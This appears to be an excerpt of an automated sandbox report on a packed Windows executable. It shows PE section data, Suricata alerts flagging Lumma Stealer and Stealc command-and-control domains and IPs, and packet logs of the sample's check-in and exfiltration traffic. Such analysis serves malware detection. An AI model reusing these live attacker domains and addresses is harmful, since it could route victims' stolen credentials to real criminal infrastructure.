IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x51000	0x24800	bb46b986c844a5ed1b0b0b5b2785d708	False	0.9974448844178082	data	7.983496110315362	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x52000	0x1ac	0x200	75720b8ea60aa06a31806981b744f74e	False	0.5390625	data	5.245569576626531	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x53000	0x1000	0x200	19a29171433eeef17e42fd663f137134	False	0.14453125	data	0.9996515881509258	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x54000	0x2b1000	0x200	9db9961aba66bb59365459ca14a94283	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
xpumokpk	0x305000	0x1a2000	0x1a1600	48638ce8dcaee5f89b554f9997c050f3	False	0.9947723635444744	data	7.9532772080484335	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
mjjkhxdo	0x4a7000	0x1000	0x400	652711f854c63f4217a4a7a0ce4b1340	False	0.8154296875	data	6.380856090032838	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x4a8000	0x3000	0x2200	b5e42f2767e8444722f332c883d52a23	False	0.058363970588235295	DOS executable (COM)	0.5852981464464749	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x52058	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-23T09:00:08.029467+0100	2058378	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)	1	192.168.2.6	61793	1.1.1.1	53	UDP
2024-12-23T09:00:08.174211+0100	2058364	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)	1	192.168.2.6	57472	1.1.1.1	53	UDP
2024-12-23T09:00:08.356598+0100	2058360	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (discokeyus .lat)	1	192.168.2.6	53952	1.1.1.1	53	UDP
2024-12-23T09:00:08.521633+0100	2058370	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacebudi .lat)	1	192.168.2.6	54160	1.1.1.1	53	UDP
2024-12-23T09:00:08.746620+0100	2058362	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (energyaffai .lat)	1	192.168.2.6	50225	1.1.1.1	53	UDP
2024-12-23T09:00:08.886995+0100	2058354	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (aspecteirs .lat)	1	192.168.2.6	57576	1.1.1.1	53	UDP
2024-12-23T09:00:09.033261+0100	2058376	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sustainskelet .lat)	1	192.168.2.6	60527	1.1.1.1	53	UDP
2024-12-23T09:00:09.178911+0100	2058358	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crosshuaht .lat)	1	192.168.2.6	58783	1.1.1.1	53	UDP
2024-12-23T09:00:09.323957+0100	2058374	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (rapeflowwj .lat)	1	192.168.2.6	63226	1.1.1.1	53	UDP
2024-12-23T09:00:11.003189+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49719	104.102.49.254	443	TCP
2024-12-23T09:00:11.910971+0100	2858666	ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup	1	192.168.2.6	49719	104.102.49.254	443	TCP
2024-12-23T09:00:13.395946+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49721	104.21.66.86	443	TCP
2024-12-23T09:00:14.131255+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49721	104.21.66.86	443	TCP
2024-12-23T09:00:14.131255+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49721	104.21.66.86	443	TCP
2024-12-23T09:00:15.430797+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49730	104.21.66.86	443	TCP
2024-12-23T09:00:16.395590+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49730	104.21.66.86	443	TCP
2024-12-23T09:00:16.395590+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49730	104.21.66.86	443	TCP
2024-12-23T09:00:18.407345+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49737	104.21.66.86	443	TCP
2024-12-23T09:00:19.329384+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	49737	104.21.66.86	443	TCP
2024-12-23T09:00:21.221082+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49748	104.21.66.86	443	TCP
2024-12-23T09:00:24.651560+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49762	104.21.66.86	443	TCP
2024-12-23T09:00:27.450350+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49769	104.21.66.86	443	TCP
2024-12-23T09:00:29.940785+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49776	104.21.66.86	443	TCP
2024-12-23T09:00:33.572394+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49788	104.21.66.86	443	TCP
2024-12-23T09:00:34.345630+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49788	104.21.66.86	443	TCP
2024-12-23T09:00:35.871354+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	49794	185.215.113.16	80	TCP
2024-12-23T09:00:52.183417+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49833	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 23, 2024 09:00:09.607451916 CET	49719	443	192.168.2.6	104.102.49.254
Dec 23, 2024 09:00:09.607511997 CET	443	49719	104.102.49.254	192.168.2.6
Dec 23, 2024 09:00:09.607629061 CET	49719	443	192.168.2.6	104.102.49.254
Dec 23, 2024 09:00:09.610908985 CET	49719	443	192.168.2.6	104.102.49.254
Dec 23, 2024 09:00:09.610929966 CET	443	49719	104.102.49.254	192.168.2.6
Dec 23, 2024 09:00:11.003118038 CET	443	49719	104.102.49.254	192.168.2.6
Dec 23, 2024 09:00:11.003189087 CET	49719	443	192.168.2.6	104.102.49.254
Dec 23, 2024 09:00:11.006942034 CET	49719	443	192.168.2.6	104.102.49.254
Dec 23, 2024 09:00:11.006962061 CET	443	49719	104.102.49.254	192.168.2.6
Dec 23, 2024 09:00:11.007447004 CET	443	49719	104.102.49.254	192.168.2.6
Dec 23, 2024 09:00:11.067982912 CET	49719	443	192.168.2.6	104.102.49.254
Dec 23, 2024 09:00:11.111340046 CET	443	49719	104.102.49.254	192.168.2.6
Dec 23, 2024 09:00:11.911057949 CET	443	49719	104.102.49.254	192.168.2.6
Dec 23, 2024 09:00:11.911092997 CET	443	49719	104.102.49.254	192.168.2.6
Dec 23, 2024 09:00:11.911103010 CET	443	49719	104.102.49.254	192.168.2.6
Dec 23, 2024 09:00:11.911134005 CET	443	49719	104.102.49.254	192.168.2.6
Dec 23, 2024 09:00:11.911147118 CET	49719	443	192.168.2.6	104.102.49.254
Dec 23, 2024 09:00:11.911148071 CET	443	49719	104.102.49.254	192.168.2.6
Dec 23, 2024 09:00:11.911161900 CET	443	49719	104.102.49.254	192.168.2.6
Dec 23, 2024 09:00:11.911200047 CET	49719	443	192.168.2.6	104.102.49.254
Dec 23, 2024 09:00:11.911218882 CET	49719	443	192.168.2.6	104.102.49.254
Dec 23, 2024 09:00:12.014983892 CET	443	49719	104.102.49.254	192.168.2.6
Dec 23, 2024 09:00:12.015011072 CET	443	49719	104.102.49.254	192.168.2.6
Dec 23, 2024 09:00:12.015105009 CET	49719	443	192.168.2.6	104.102.49.254
Dec 23, 2024 09:00:12.015105009 CET	49719	443	192.168.2.6	104.102.49.254
Dec 23, 2024 09:00:12.015119076 CET	443	49719	104.102.49.254	192.168.2.6
Dec 23, 2024 09:00:12.015294075 CET	49719	443	192.168.2.6	104.102.49.254
Dec 23, 2024 09:00:12.022032976 CET	443	49719	104.102.49.254	192.168.2.6
Dec 23, 2024 09:00:12.022118092 CET	49719	443	192.168.2.6	104.102.49.254
Dec 23, 2024 09:00:12.022125959 CET	443	49719	104.102.49.254	192.168.2.6
Dec 23, 2024 09:00:12.022202015 CET	443	49719	104.102.49.254	192.168.2.6
Dec 23, 2024 09:00:12.022243023 CET	49719	443	192.168.2.6	104.102.49.254
Dec 23, 2024 09:00:12.022289991 CET	49719	443	192.168.2.6	104.102.49.254
Dec 23, 2024 09:00:12.026144028 CET	49719	443	192.168.2.6	104.102.49.254
Dec 23, 2024 09:00:12.026159048 CET	443	49719	104.102.49.254	192.168.2.6
Dec 23, 2024 09:00:12.026197910 CET	49719	443	192.168.2.6	104.102.49.254
Dec 23, 2024 09:00:12.026207924 CET	443	49719	104.102.49.254	192.168.2.6
Dec 23, 2024 09:00:12.173600912 CET	49721	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:12.173655987 CET	443	49721	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:12.174007893 CET	49721	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:12.174263000 CET	49721	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:12.174278975 CET	443	49721	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:13.395853996 CET	443	49721	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:13.395946026 CET	49721	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:13.431139946 CET	49721	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:13.431162119 CET	443	49721	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:13.432235003 CET	443	49721	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:13.433800936 CET	49721	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:13.433840036 CET	49721	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:13.433965921 CET	443	49721	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:14.131270885 CET	443	49721	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:14.131407022 CET	443	49721	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:14.131494045 CET	49721	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:14.131628036 CET	49721	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:14.131647110 CET	443	49721	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:14.131658077 CET	49721	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:14.131664991 CET	443	49721	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:14.157051086 CET	49730	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:14.157092094 CET	443	49730	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:14.157174110 CET	49730	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:14.157589912 CET	49730	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:14.157602072 CET	443	49730	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:15.430696964 CET	443	49730	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:15.430797100 CET	49730	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:15.432045937 CET	49730	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:15.432054996 CET	443	49730	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:15.432383060 CET	443	49730	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:15.434060097 CET	49730	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:15.434130907 CET	49730	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:15.434151888 CET	443	49730	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:16.395678043 CET	443	49730	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:16.395860910 CET	443	49730	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:16.395956039 CET	49730	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:16.395973921 CET	443	49730	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:16.399190903 CET	443	49730	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:16.400605917 CET	49730	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:16.400620937 CET	443	49730	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:16.402657986 CET	443	49730	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:16.402736902 CET	443	49730	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:16.402846098 CET	49730	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:16.402859926 CET	443	49730	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:16.402964115 CET	49730	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:16.413074970 CET	443	49730	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:16.428847075 CET	443	49730	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:16.428949118 CET	443	49730	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:16.429069996 CET	49730	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:16.429090977 CET	443	49730	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:16.429419041 CET	49730	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:16.577718019 CET	443	49730	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:16.581206083 CET	443	49730	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:16.581299067 CET	443	49730	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:16.581378937 CET	49730	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:16.581403971 CET	443	49730	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:16.581434965 CET	443	49730	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:16.581547022 CET	49730	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:16.581693888 CET	443	49730	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:16.584492922 CET	49730	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:16.604751110 CET	49730	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:16.604751110 CET	49730	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:16.604780912 CET	443	49730	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:16.604792118 CET	443	49730	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:17.022872925 CET	49737	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:17.022922039 CET	443	49737	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:17.022990942 CET	49737	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:17.023281097 CET	49737	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:17.023300886 CET	443	49737	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:18.407263041 CET	443	49737	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:18.407345057 CET	49737	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:18.408637047 CET	49737	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:18.408649921 CET	443	49737	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:18.410062075 CET	443	49737	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:18.411261082 CET	49737	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:18.411432981 CET	49737	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:18.411488056 CET	443	49737	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:19.329397917 CET	443	49737	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:19.329528093 CET	443	49737	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:19.329742908 CET	49737	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:19.336620092 CET	49737	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:19.336638927 CET	443	49737	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:19.998519897 CET	49748	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:19.998565912 CET	443	49748	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:19.998647928 CET	49748	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:19.998940945 CET	49748	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:19.998953104 CET	443	49748	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:21.220961094 CET	443	49748	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:21.221081972 CET	49748	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:21.222634077 CET	49748	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:21.222644091 CET	443	49748	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:21.223071098 CET	443	49748	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:21.239902020 CET	49748	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:21.240122080 CET	49748	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:21.240158081 CET	443	49748	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:21.240207911 CET	49748	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:21.283334017 CET	443	49748	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:22.057919979 CET	443	49748	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:22.058026075 CET	443	49748	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:22.058084965 CET	49748	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:22.064693928 CET	49748	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:22.064714909 CET	443	49748	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:23.436578035 CET	49762	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:23.436613083 CET	443	49762	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:23.436677933 CET	49762	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:23.437330961 CET	49762	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:23.437345982 CET	443	49762	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:24.651443005 CET	443	49762	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:24.651560068 CET	49762	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:24.652746916 CET	49762	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:24.652759075 CET	443	49762	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:24.653084993 CET	443	49762	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:24.654416084 CET	49762	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:24.654777050 CET	49762	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:24.654810905 CET	443	49762	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:24.655009985 CET	49762	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:24.655019045 CET	443	49762	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:25.604104996 CET	443	49762	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:25.604232073 CET	443	49762	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:25.604295015 CET	49762	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:25.605020046 CET	49762	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:25.605036020 CET	443	49762	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:26.237332106 CET	49769	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:26.237376928 CET	443	49769	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:26.237552881 CET	49769	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:26.238177061 CET	49769	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:26.238189936 CET	443	49769	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:27.450226068 CET	443	49769	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:27.450350046 CET	49769	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:27.451742887 CET	49769	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:27.451750040 CET	443	49769	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:27.452028990 CET	443	49769	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:27.453320980 CET	49769	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:27.453435898 CET	49769	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:27.453443050 CET	443	49769	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:28.210295916 CET	443	49769	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:28.210397959 CET	443	49769	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:28.210494041 CET	49769	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:28.210594893 CET	49769	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:28.210612059 CET	443	49769	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:28.729763031 CET	49776	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:28.729801893 CET	443	49776	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:28.729913950 CET	49776	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:28.730210066 CET	49776	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:28.730221987 CET	443	49776	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:29.940696001 CET	443	49776	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:29.940784931 CET	49776	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:29.942135096 CET	49776	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:29.942147970 CET	443	49776	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:29.942502975 CET	443	49776	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:29.955692053 CET	49776	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:29.956474066 CET	49776	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:29.956527948 CET	443	49776	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:29.956644058 CET	49776	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:29.956698895 CET	443	49776	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:29.956803083 CET	49776	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:29.956856966 CET	443	49776	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:29.956969976 CET	49776	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:29.957006931 CET	443	49776	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:29.957163095 CET	49776	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:29.957205057 CET	443	49776	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:29.957453012 CET	49776	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:29.957479000 CET	443	49776	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:29.957489014 CET	49776	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:29.957608938 CET	49776	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:29.957633018 CET	49776	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:29.999330044 CET	443	49776	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:29.999603033 CET	49776	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:29.999639988 CET	49776	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:29.999655962 CET	49776	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:30.047334909 CET	443	49776	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:30.047518015 CET	49776	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:30.047559023 CET	49776	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:30.047586918 CET	49776	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:30.095335960 CET	443	49776	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:30.095429897 CET	49776	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:30.139348984 CET	443	49776	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:30.317197084 CET	443	49776	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:32.309984922 CET	443	49776	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:32.310101032 CET	443	49776	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:32.310206890 CET	49776	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:32.311969042 CET	49776	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:32.311994076 CET	443	49776	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:32.359843016 CET	49788	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:32.359895945 CET	443	49788	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:32.359967947 CET	49788	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:32.360285044 CET	49788	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:32.360301971 CET	443	49788	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:33.572314024 CET	443	49788	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:33.572393894 CET	49788	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:33.573544025 CET	49788	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:33.573556900 CET	443	49788	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:33.573803902 CET	443	49788	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:33.574968100 CET	49788	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:33.574997902 CET	49788	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:33.575038910 CET	443	49788	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:34.345642090 CET	443	49788	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:34.345743895 CET	443	49788	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:34.345844984 CET	49788	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:34.402363062 CET	49788	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:34.402363062 CET	49788	443	192.168.2.6	104.21.66.86
Dec 23, 2024 09:00:34.402395964 CET	443	49788	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:34.402407885 CET	443	49788	104.21.66.86	192.168.2.6
Dec 23, 2024 09:00:34.409158945 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:34.529331923 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:34.529443026 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:34.533773899 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:34.653347015 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:35.871073008 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:35.871290922 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:35.871306896 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:35.871354103 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:35.871968031 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:35.871984005 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:35.872026920 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:35.872719049 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:35.872735977 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:35.872777939 CET	49794	80	192.168.2.6	185.215.113.16
